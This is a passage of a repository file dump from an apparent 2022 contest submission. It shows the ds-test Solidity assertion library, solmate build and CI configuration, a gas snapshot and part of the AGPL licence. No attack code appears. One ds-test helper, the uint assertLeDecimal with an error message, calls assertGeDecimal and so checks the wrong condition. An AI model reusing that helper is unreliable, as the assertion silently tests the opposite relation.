log(\"\\n\");\n        assertGeDecimal(-2.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertGeDecimal(uint,uint,uint)\\n\");\n        assertGeDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertGeDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertLt(uint,uint)\\n\");\n        assertLt(uint(0), 0);\n        emit log(\"\\n\");\n        assertLt(uint(0), 0, err);\n\n        emit log(\"\\n## assertLt(int,int)\\n\");\n        assertLt(-1, -1);\n        emit log(\"\\n\");\n        assertLt(-1, -1, err);\n\n        emit log(\"\\n## assertLtDecimal(int,int,uint)\\n\");\n        assertLtDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertLtDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertLtDecimal(uint,uint,uint)\\n\");\n        assertLtDecimal(uint(2.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertLtDecimal(uint(2.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertLe(uint,uint)\\n\");\n        assertLe(uint(1), 0);\n        emit log(\"\\n\");\n        assertLe(uint(1), 0, err);\n\n        emit log(\"\\n## assertLe(int,int)\\n\");\n        assertLe(0, -1);\n        emit log(\"\\n\");\n        assertLe(0, -1, err);\n\n        emit log(\"\\n## assertLeDecimal(int,int,uint)\\n\");\n        assertLeDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertLeDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertLeDecimal(uint,uint,uint)\\n\");\n        assertLeDecimal(uint(2.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertLeDecimal(uint(2.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertEq(string,string)\\n\");\n        string memory s1 = \"string 1\";\n        string memory s2 = \"string 2\";\n        assertEq(s1, s2);\n        emit log(\"\\n\");\n        assertEq(s1, s2, err);\n\n        emit log(\"\\n## assertEq0(bytes,bytes)\\n\");\n        assertEq0(hex\"abcdef01\", hex\"abcdef02\");\n        log(\"\\n\");\n        assertEq0(hex\"abcdef01\", hex\"abcdef02\", err);\n    }\n}\n\ncontract DemoTestWithSetUp {\n    function setUp() public {\n    }\n    function test_pass() public pure {\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/ds-test/src/test.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0-or-later\n\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n\n// You should have received a copy of the GNU General Public License\n// along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\npragma solidity >=0.4.23;\n\ncontract DSTest {\n    event log                    (string);\n    event logs                   (bytes);\n\n    event log_address            (address);\n    event log_bytes32            (bytes32);\n    event log_int                (int);\n    event log_uint               (uint);\n    event log_bytes              (bytes);\n    event log_string             (string);\n\n    event log_named_address      (string key, address val);\n    event log_named_bytes32      (string key, bytes32 val);\n    event log_named_decimal_int  (string key, int val, uint decimals);\n    event log_named_decimal_uint (string key, uint val, uint decimals);\n    event log_named_int          (string key, int val);\n    event log_named_uint         (string key, uint val);\n    event log_named_bytes        (string key, bytes val);\n    event log_named_string       (string key, string val);\n\n    bool public IS_TEST = true;\n    bool public failed;\n\n    address constant HEVM_ADDRESS =\n        address(bytes20(uint160(uint256(keccak256('hevm cheat code')))));\n\n    modifier mayRevert() { _; }\n    modifier testopts(string memory) { _; }\n\n    function fail() internal {\n        failed = true;\n    }\n\n    modifier logs_gas() {\n        uint startGas = gasleft();\n        _;\n        uint endGas = gasleft();\n        emit log_named_uint(\"gas\", startGas - endGas);\n    }\n\n    function assertTrue(bool condition) internal {\n        if (!condition) {\n            emit log(\"Error: Assertion Failed\");\n            fail();\n        }\n    }\n\n    function assertTrue(bool condition, string memory err) internal {\n        if (!condition) {\n            emit log_named_string(\"Error\", err);\n            assertTrue(condition);\n        }\n    }\n\n    function assertEq(address a, address b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [address]\");\n            emit log_named_address(\"  Expected\", b);\n            emit log_named_address(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(address a, address b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string (\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n\n    function assertEq(bytes32 a, bytes32 b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [bytes32]\");\n            emit log_named_bytes32(\"  Expected\", b);\n            emit log_named_bytes32(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(bytes32 a, bytes32 b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string (\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEq32(bytes32 a, bytes32 b) internal {\n        assertEq(a, b);\n    }\n    function assertEq32(bytes32 a, bytes32 b, string memory err) internal {\n        assertEq(a, b, err);\n    }\n\n    function assertEq(int a, int b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [int]\");\n            emit log_named_int(\"  Expected\", b);\n            emit log_named_int(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(int a, int b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEq(uint a, uint b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [uint]\");\n            emit log_named_uint(\"  Expected\", b);\n            emit log_named_uint(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(uint a, uint b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEqDecimal(int a, int b, uint decimals) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Expected\", b, decimals);\n            emit log_named_decimal_int(\"    Actual\", a, decimals);\n            fail();\n        }\n    }\n    function assertEqDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEqDecimal(a, b, decimals);\n        }\n    }\n    function assertEqDecimal(uint a, uint b, uint decimals) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Expected\", b, decimals);\n            emit log_named_decimal_uint(\"    Actual\", a, decimals);\n            fail();\n        }\n    }\n    function assertEqDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEqDecimal(a, b, decimals);\n        }\n    }\n\n    function assertGt(uint a, uint b) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGt(uint a, uint b, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGt(a, b);\n        }\n    }\n    function assertGt(int a, int b) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGt(int a, int b, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGt(a, b);\n        }\n    }\n    function assertGtDecimal(int a, int b, uint decimals) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGtDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGtDecimal(a, b, decimals);\n        }\n    }\n    function assertGtDecimal(uint a, uint b, uint decimals) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGtDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGtDecimal(a, b, decimals);\n        }\n    }\n\n    function assertGe(uint a, uint b) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGe(uint a, uint b, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGe(a, b);\n        }\n    }\n    function assertGe(int a, int b) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGe(int a, int b, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGe(a, b);\n        }\n    }\n    function assertGeDecimal(int a, int b, uint decimals) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGeDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n    function assertGeDecimal(uint a, uint b, uint decimals) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGeDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n\n    function assertLt(uint a, uint b) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLt(uint a, uint b, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLt(a, b);\n        }\n    }\n    function assertLt(int a, int b) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLt(int a, int b, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLt(a, b);\n        }\n    }\n    function assertLtDecimal(int a, int b, uint decimals) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLtDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLtDecimal(a, b, decimals);\n        }\n    }\n    function assertLtDecimal(uint a, uint b, uint decimals) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLtDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLtDecimal(a, b, decimals);\n        }\n    }\n\n    function assertLe(uint a, uint b) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLe(uint a, uint b, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLe(a, b);\n        }\n    }\n    function assertLe(int a, int b) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLe(int a, int b, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLe(a, b);\n        }\n    }\n    function assertLeDecimal(int a, int b, uint decimals) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLeDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLeDecimal(a, b, decimals);\n        }\n    }\n    function assertLeDecimal(uint a, uint b, uint decimals) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLeDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n\n    function assertEq(string memory a, string memory b) internal {\n        if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {\n            emit log(\"Error: a == b not satisfied [string]\");\n            emit log_named_string(\"  Value a\", a);\n            emit log_named_string(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertEq(string memory a, string memory b, string memory err) internal {\n        if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n\n    function checkEq0(bytes memory a, bytes memory b) internal pure returns (bool ok) {\n        ok = true;\n        if (a.length == b.length) {\n            for (uint i = 0; i < a.length; i++) {\n                if (a[i] != b[i]) {\n                    ok = false;\n                }\n            }\n        } else {\n            ok = false;\n        }\n    }\n    function assertEq0(bytes memory a, bytes memory b) internal {\n        if (!checkEq0(a, b)) {\n            emit log(\"Error: a == b not satisfied [bytes]\");\n            emit log_named_bytes(\"  Expected\", a);\n            emit log_named_bytes(\"    Actual\", b);\n            fail();\n        }\n    }\n    function assertEq0(bytes memory a, bytes memory b, string memory err) internal {\n        if (!checkEq0(a, b)) {\n            emit log_named_string(\"Error\", err);\n            assertEq0(a, b);\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/.dapprc",
    "content": "# Basic build/test configuration.\nexport DAPP_SOLC_VERSION=0.8.10\nexport DAPP_BUILD_OPTIMIZE=1\nexport DAPP_BUILD_OPTIMIZE_RUNS=1000000\nexport DAPP_LINK_TEST_LIBRARIES=0\nexport DAPP_TEST_VERBOSITY=1\nexport DAPP_TEST_SMTTIMEOUT=500000\n\nif [ \"$DEEP_FUZZ\" = \"true\" ]\nthen \n  export DAPP_TEST_FUZZ_RUNS=10000 # Fuzz for a long time if DEEP_FUZZ is set to true.\nelse\n  export DAPP_TEST_FUZZ_RUNS=100 # Only fuzz briefly if DEEP_FUZZ is not set to true.\nfi\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/.gas-snapshot",
    "content": "testFailSetAuthorityWithRestrictiveAuthority() (gas: 126002)\ntestSetAuthorityWithPermissiveAuthority() (gas: 127687)\ntestFailSetOwnerWithRestrictiveAuthority() (gas: 126166)\ntestFailCallFunctionAsNonOwner() (gas: 4191)\ntestSetAuthorityAsOwner() (gas: 23802)\ntestFailCallFunctionAsOwnerWithOutOfOrderAuthority() (gas: 135733)\ntestCallFunctionWithPermissiveAuthority() (gas: 125973)\ntestFailSetAuthorityAsNonOwner() (gas: 6960)\ntestFailSetOwnerAsOwnerWithOutOfOrderAuthority() (gas: 135873)\ntestCallFunctionAsOwner() (gas: 21371)\ntestFailCallFunctionWithRestrictiveAuthority() (gas: 126125)\ntestSetOwnerWithPermissiveAuthority() (gas: 147508)\ntestFailSetOwnerAsNonOwner() (gas: 4309)\ntestSetAuthorityAsOwnerWithOutOfOrderAuthority() (gas: 234329)\ntestSetOwnerAsOwner() (gas: 3998)\ntestFromLast20Bytes() (gas: 191)\ntestFillLast12Bytes() (gas: 223)\ntestFailDoubleDeploySameBytecode() (gas: 277076930206699)\ntestDeployERC20() (gas: 873896)\ntestFailDoubleDeployDifferentBytecode() (gas: 277076930214885)\ntestFailBoundMinBiggerThanMax() (gas: 309)\ntestBound() (gas: 5520)\ntestFailSafeBatchTransferFromToRevertingERC1155Recipient() (gas: 1041163)\ntestMintToEOA() (gas: 30265)\ntestFailMintToNonERC155Recipient() (gas: 71897)\ntestFailSafeBatchTransferFromToZero() (gas: 805864)\ntestBatchMintToERC1155Recipient() (gas: 946375)\ntestApproveAll() (gas: 26509)\ntestFailSafeBatchTransferFromWithArrayLengthMismatch() (gas: 681042)\ntestFailBatchMintToZero() (gas: 127242)\ntestFailSafeBatchTransferFromToWrongReturnDataERC1155Recipient() (gas: 993087)\ntestSafeTransferFromToERC1155Recipient() (gas: 1210543)\ntestFailBatchMintToWrongReturnDataERC1155Recipient() (gas: 314473)\ntestFailBatchMintToRevertingERC1155Recipient() (gas: 362536)\ntestBatchBurn() (gas: 146591)\ntestFailBurnInsufficientBalance() (gas: 30352)\ntestFailSafeTransferFromToWrongReturnDataERC1155Recipient() (gas: 243471)\ntestFailMintToRevertingERC155Recipient() (gas: 263148)\ntestFailSafeBatchTransferFromToNonERC1155Recipient() (gas: 849621)\ntestFailSafeTransferFromInsufficientBalance() (gas: 579173)\ntestFailSafeTransferFromToNonERC155Recipient() (gas: 100376)\ntestFailBatchMintToNonERC1155Recipient() (gas: 171010)\ntestSafeBatchTransferFromToEOA() (gas: 817122)\ntestFailSafeTransferFromToRevertingERC1155Recipient() (gas: 291604)\ntestBatchMintToEOA() (gas: 132842)\ntestFailBatchBurnInsufficientBalance() (gas: 131673)\ntestSafeBatchTransferFromToERC1155Recipient() (gas: 1650504)\ntestFailBalanceOfBatchWithArrayMismatch() (gas: 4798)\ntestFailSafeBatchTransferInsufficientBalance() (gas: 682003)\ntestSafeTransferFromToEOA() (gas: 609087)\ntestMintToERC1155Recipient() (gas: 612041)\ntestFailBatchMintWithArrayMismatch() (gas: 5118)\ntestBatchBalanceOf() (gas: 153798)\ntestFailSafeTransferFromToZero() (gas: 57667)\ntestFailSafeTransferFromSelfInsufficientBalance() (gas: 29956)\ntestBurn() (gas: 34098)\ntestFailBatchBurnWithArrayLengthMismatch() (gas: 131065)\ntestFailMintToZero() (gas: 29205)\ntestSafeTransferFromSelf() (gas: 59828)\ntestFailMintToWrongReturnDataERC155Recipient() (gas: 263102)\ntestInfiniteApproveTransferFrom() (gas: 387796)\ntestApprove() (gas: 26558)\ntestMetaData() (gas: 6966)\ntestTransferFrom() (gas: 388134)\ntestFailTransferFromInsufficientBalance() (gas: 359401)\ntestFailPermitPastDeadline() (gas: 2197)\ntestFailPermitReplay() (gas: 59949)\ntestMint() (gas: 49180)\ntestFailTransferFromInsufficientAllowance() (gas: 358925)\ntestTransfer() (gas: 75628)\ntestBurn() (gas: 52492)\ntestPermit() (gas: 56782)\ntestFailTransferInsufficientBalance() (gas: 48240)\ntestFailPermitBadDeadline() (gas: 30486)\ntestFailPermitBadNonce() (gas: 30436)\ntestSafeTransferFromToERC721Recipient() (gas: 908869)\ntestFailSafeMintToERC721RecipientWithWrongReturnDataWithData() (gas: 185732)\ntestApprove() (gas: 96031)\ntestFailBurnUnMinted() (gas: 3379)\ntestFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData() (gas: 213867)\ntestFailDoubleMint() (gas: 70935)\ntestApproveAll() (gas: 26585)\ntestFailApproveUnAuthorized() (gas: 73181)\ntestFailSafeTransferFromToRevertingERC721RecipientWithData() (gas: 259577)\ntestFailSafeMintToNonERC721RecipientWithData() (gas: 115867)\ntestMetadata() (gas: 6492)\ntestFailTransferFromWrongFrom() (gas: 71032)\ntestFailSafeMintToRevertingERC721Recipient() (gas: 230626)\ntestTransferFrom() (gas: 551359)\ntestFailSafeMintToNonERC721Recipient() (gas: 115042)\ntestFailDoubleBurn() (gas: 74563)\ntestFailSafeMintToERC721RecipientWithWrongReturnData() (gas: 184893)\ntestFailSafeTransferFromToNonERC721Recipient() (gas: 143245)\ntestMint() (gas: 72701)\ntestFailApproveUnMinted() (gas: 5694)\ntestFailTransferFromToZero() (gas: 71031)\ntestSafeMintToERC721Recipient() (gas: 408375)\ntestSafeTransferFromToEOA() (gas: 556215)\ntestSafeMintToEOA() (gas: 75400)\ntestFailSafeTransferFromToERC721RecipientWithWrongReturnData() (gas: 213093)\ntestTransferFromApproveAll() (gas: 553534)\ntestFailTransferFromUnOwned() (gas: 3500)\ntestFailSafeTransferFromToNonERC721RecipientWithData() (gas: 144048)\ntestBurn() (gas: 76417)\ntestFailSafeMintToRevertingERC721RecipientWithData() (gas: 231396)\ntestFailMintToZero() (gas: 1253)\ntestFailTransferFromNotOwner() (gas: 75544)\ntestSafeMintToERC721RecipientWithData() (gas: 429537)\ntestFailSafeTransferFromToRevertingERC721Recipient() (gas: 258848)\ntestSafeTransferFromToERC721RecipientWithData() (gas: 930031)\ntestTransferFromSelf() (gas: 103082)\ntestFPow() (gas: 1651)\ntestFailFDivZeroXY() (gas: 316)\ntestSqrt() (gas: 2492)\ntestFDiv() (gas: 733)\ntestFDivEdgeCases() (gas: 581)\ntestFMulEdgeCases() (gas: 801)\ntestFailFDivXYB() (gas: 294)\ntestFailFDivZeroY() (gas: 271)\ntestFMul() (gas: 669)\ntestSetRoles() (gas: 33023)\ntestCanCallWithCustomAuthorityOverridesPublicCapability() (gas: 295417)\ntestCanCallPublicCapability() (gas: 39631)\ntestSetTargetCustomAuthority() (gas: 31736)\ntestCanCallWithCustomAuthorityOverridesUserWithRole() (gas: 334265)\ntestCanCallWithAuthorizedRole() (gas: 97461)\ntestSetRoleCapabilities() (gas: 32997)\ntestCanCallWithCustomAuthority() (gas: 466959)\ntestSetPublicCapabilities() (gas: 31468)\ntestNoReentrancy() (gas: 1015)\ntestProtectedCall() (gas: 23649)\ntestFailUnprotectedCall() (gas: 30515)\ntestSetRoles() (gas: 32998)\ntestCanCallPublicCapability() (gas: 38436)\ntestCanCallWithAuthorizedRole() (gas: 96267)\ntestSetRoleCapabilities() (gas: 34588)\ntestSetPublicCapabilities() (gas: 33244)\ntestWriteRead() (gas: 53511)\ntestWriteReadFullStartBound() (gas: 34725)\ntestFailWriteReadEmptyOutOfBounds() (gas: 34432)\ntestWriteReadFullBoundedRead() (gas: 53708)\ntestFailReadInvalidPointer() (gas: 2905)\ntestFailWriteReadOutOfStartBound() (gas: 34346)\ntestFailReadInvalidPointerCustomStartBound() (gas: 2982)\ntestWriteReadEmptyBound() (gas: 34639)\ntestFailWriteReadOutOfBounds() (gas: 34453)\ntestWriteReadCustomBounds() (gas: 34853)\ntestWriteReadCustomStartBound() (gas: 34768)\ntestFailReadInvalidPointerCustomBounds() (gas: 3143)\ntestSafeCastTo248() (gas: 433)\ntestSafeCastTo128() (gas: 455)\ntestSafeCastTo32() (gas: 432)\ntestFailSafeCastTo96() (gas: 320)\ntestSafeCastTo96() (gas: 475)\ntestFailSafeCastTo64() (gas: 299)\ntestSafeCastTo64() (gas: 454)\ntestFailSafeCastTo248() (gas: 298)\ntestFailSafeCastTo128() (gas: 342)\ntestFailSafeCastTo32() (gas: 297)\ntestFailTransferWithReturnsFalse() (gas: 27234)\ntestApproveWithStandardERC20() (gas: 26417)\ntestFailTransferFromWithReturnsFalse() (gas: 30377)\ntestTransferFromWithTransferFromSelf() (gas: 59377)\ntestFailTransferWithPausable() (gas: 4160)\ntestApproveWithNonContract() (gas: 3076)\ntestFailApproveWithPausable() (gas: 1219)\ntestFailTransferFromWithPausable() (gas: 5312)\ntestApproveWithMissingReturn() (gas: 26335)\ntestTransferFromWithMissingReturn() (gas: 59267)\ntestTransferWithStandardERC20() (gas: 28201)\ntestTransferFromWithStandardERC20() (gas: 59309)\ntestTransferFromWithNonContract() (gas: 3104)\ntestTransferWithMissingReturn() (gas: 28128)\ntestFailApproveWithReturnsFalse() (gas: 25283)\ntestTransferETH() (gas: 34636)\ntestTransferWithNonContract() (gas: 3075)\ntestApproveWithTransferFromSelf() (gas: 26416)\ntestTransferWithTransferFromSelf() (gas: 28182)\ntestFailTransferETHToContractWithoutFallback() (gas: 7222)\ntestPartialWithdraw() (gas: 68803)\ntestDeposit() (gas: 58804)\ntestFallbackDeposit() (gas: 59068)\ntestWithdraw() (gas: 68737)\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/.gitattributes",
    "content": "*.sol linguist-language=Solidity\n.dapprc linguist-language=Shell\n.gas-snapshot linguist-language=Julia"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/.github/workflows/tests.yml",
    "content": "name: Tests\n\non: [push, pull_request]\n\njobs:\n  tests:\n    runs-on: ubuntu-latest\n\n    steps:\n      - uses: actions/checkout@v2\n      - uses: actions/setup-node@v2\n      - uses: cachix/install-nix-action@v13\n      - uses: cachix/cachix-action@v10\n        with:\n          name: dapp\n\n      - name: Install dependencies\n        run: nix-shell --run 'make'\n\n      - name: Check gas snapshots\n        run: nix-shell --run 'dapp check-snapshot'\n\n      - name: Run tests\n        run: nix-shell --run 'dapp test'\n        env:\n          # Only fuzz deeply if we're pushing to main or this is a PR to main:\n          DEEP_FUZZ: ${{ github.ref == 'refs/heads/main' || github.base_ref == 'main' }}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/.gitignore",
    "content": "/cache\n/node_modules\n/out"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/.gitmodules",
    "content": "[submodule \"lib/ds-test\"]\n\tpath = lib/ds-test\n\turl = https://github.com/dapphub/ds-test\n[submodule \"lib/weird-erc20\"]\n\tpath = lib/weird-erc20\n\turl = https://github.com/d-xo/weird-erc20\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/.prettierrc",
    "content": "{\n  \"tabWidth\": 2,\n  \"printWidth\": 100,\n\n  \"overrides\": [\n    {\n      \"files\": \"*.sol\",\n      \"options\": {\n        \"tabWidth\": 4,\n        \"printWidth\": 120\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/.vscode/settings.json",
    "content": "{\n  \"solidity.packageDefaultDependenciesContractsDirectory\": \"src\",\n  \"solidity.packageDefaultDependenciesDirectory\": \"lib\",\n  \"solidity.compileUsingRemoteVersion\": \"v0.8.10\",\n  \"search.exclude\": { \"lib\": true },\n  \"files.associations\": {\n    \".dapprc\": \"shellscript\",\n    \".gas-snapshot\": \"julia\"\n  }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/LICENSE",
    "content": "                    GNU AFFERO GENERAL PUBLIC LICENSE\n                       Version 3, 19 November 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU Affero General Public License is a free, copyleft license for\nsoftware and other kinds of works, specifically designed to ensure\ncooperation with the community in the case of network server software.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nour General Public Licenses are intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  Developers that use our General Public Licenses protect your rights\nwith two steps: (1) assert copyright on the software, and (2) offer\nyou this License which gives you legal permission to copy, distribute\nand/or modify the software.\n\n  A secondary benefit of defending all users' freedom is that\nimprovements made in alternate versions of the program, if they\nreceive widespread use, become available for other developers to\nincorporate.  Many developers of free software are heartened and\nencouraged by the resulting cooperation.  However, in the case of\nsoftware used on network servers, this result may fail to come about.\nThe GNU General Public License permits making a modified version and\nletting the public access it on a server without ever releasing its\nsource code to the public.\n\n  The GNU Affero General Public License is designed specifically to\nensure that, in such cases, the modified source code becomes available\nto the community.  It requires the operator of a network server to\nprovide the source code of the modified version running there to the\nusers of that server.  Therefore, public use of a modified version, on\na publicly accessible server, gives the public access to the source\ncode of the modified version.\n\n  An older license, called the Affero General Public License and\npublished by Affero, was designed to accomplish similar goals.  This is\na different license, not a version of the Affero GPL, but Affero has\nreleased a new version of the Affero GPL which permits relicensing under\nthis license.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU Affero General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" 